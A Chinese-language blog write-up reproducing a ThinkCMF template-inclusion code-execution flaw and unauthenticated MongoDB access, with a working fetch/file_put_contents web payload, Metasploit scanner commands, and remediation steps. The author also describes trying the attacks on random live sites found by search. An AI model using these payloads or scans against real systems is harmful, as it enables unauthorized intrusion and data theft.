ThinkCMF框架任意内容包含漏洞与MongoDB未授权访问漏洞复现的分析与复现

  • 2019 年 11 月 7 日
  • 笔记

感谢南柯酒馆的投稿文章

ThinkCMF框架任意内容包含漏洞

0x00简介

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

0x01影响版本

ThinkCMF X1.6.0ThinkCMF X2.1.0ThinkCMF X2.2.0ThinkCMF X2.2.1ThinkCMF X2.2.2ThinkCMF X2.2.3

0x02漏洞危害

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

0x03 漏洞分析

下载一份ThinkCMF的源码[我这里用的是(2.2.3)],打开程序的项目路径,如下显示项目路径在application目录下

//开启调试模式    define("APP_DEBUG", true);    //网站当前路径    define('SITE_PATH', dirname(__FILE__)."/");    //项目路径,不可更改    define('APP_PATH', SITE_PATH . 'application/');    //项目相对路径,不可更改    define('SPAPP_PATH',  SITE_PATH.'simplewind/');    //    define('SPAPP',  './application/');    //项目资源目录,不可更改    define('SPSTATIC',  SITE_PATH.'statics/');    //定义缓存存放路径    define("RUNTIME_PATH", SITE_PATH ."data/runtime/");    //静态缓存目录    define("HTML_PATH", SITE_PATH ."data/runtime/Html/");

打开

ThinkCMFXapplicationPortalControllerIndexController.class.php

发现display方法,继续追踪HomebaseController

追踪HomebaseController,定位到display方法,display函数的作用是加载模板和页面输出,templateFile为模板文件地址,charset为模板字符集,contentType为输出类型,content为输出内容。另外存在public权限的函数还有fetch,fetch函数的作用是获取页面内容,templateFile为模板文件,content为输出内容,prefix为模板缓存前缀。

目录:

ThinkCMFXapplicationCommonControllerHomebaseController.class.php

0x04漏洞利用

通过构造a参数的fetch方法,可以不需要知道文件路径就可以把php代码写入文件 payload:

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test.php','<?php phpinfo(); ?>')</php>

这里我就随便找了个站来测试,事先在某fa搜索的

执行我们的payload以后,页面是空白的

我们访问test.php文件

可以看到我们的phpinfo();是被执行了并且创建了一个名为test.php的文件

0x05防御

将HomebaseController.class.php和AdminbaseController.class.php类中display和fetch函数的修饰符改为protected。


MongoDB未授权访问漏洞

0x00简介

MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。

MongoDB 是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。

0x01漏洞危害

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,登录的用户可以通过默认端口无需密码对数据库任意操作(增删改高危动作)而且可以远程访问数据库。

0x02漏洞成因

在刚安装完毕的时候MongoDB都默认有一个admin数据库,此时admin数据库是空的,没有记录权限相关的信息!当admin.system.users一个用户都没有时,即使mongod启动时添加了—auth参数,如果没有在admin数据库中添加用户,此时不进行任何认证还是可以做任何操作(不管是否是以—auth 参数启动),直到在admin.system.users中添加了一个用户。加固的核心是只有在admin.system.users中添加用户之后,mongodb的认证,授权服务才能生效

0x03漏洞复现

我也是有关键词的男人(其实是我苦苦求着表哥给我的)

随缘选一个ip然后祭出神奇metasploit

MongoDB默认端口27017,当配置成无验证时,存在未授权访问,使用msf中的scanner/mongodb/mongodb_login模块进行测试,使用navicat连接获取数据库中的内容。

use auxiliary/scanner/mongodb/mongodb_login    set rhosts 192.168.90.0/24    set threads 10    exploit

0x04防御

1、修改默认端口

2、不要开放服务到公网

  • vim /etc/mongodb.conf
  • bind_ip =127.0.0.1

3、禁用HTTP和REST端口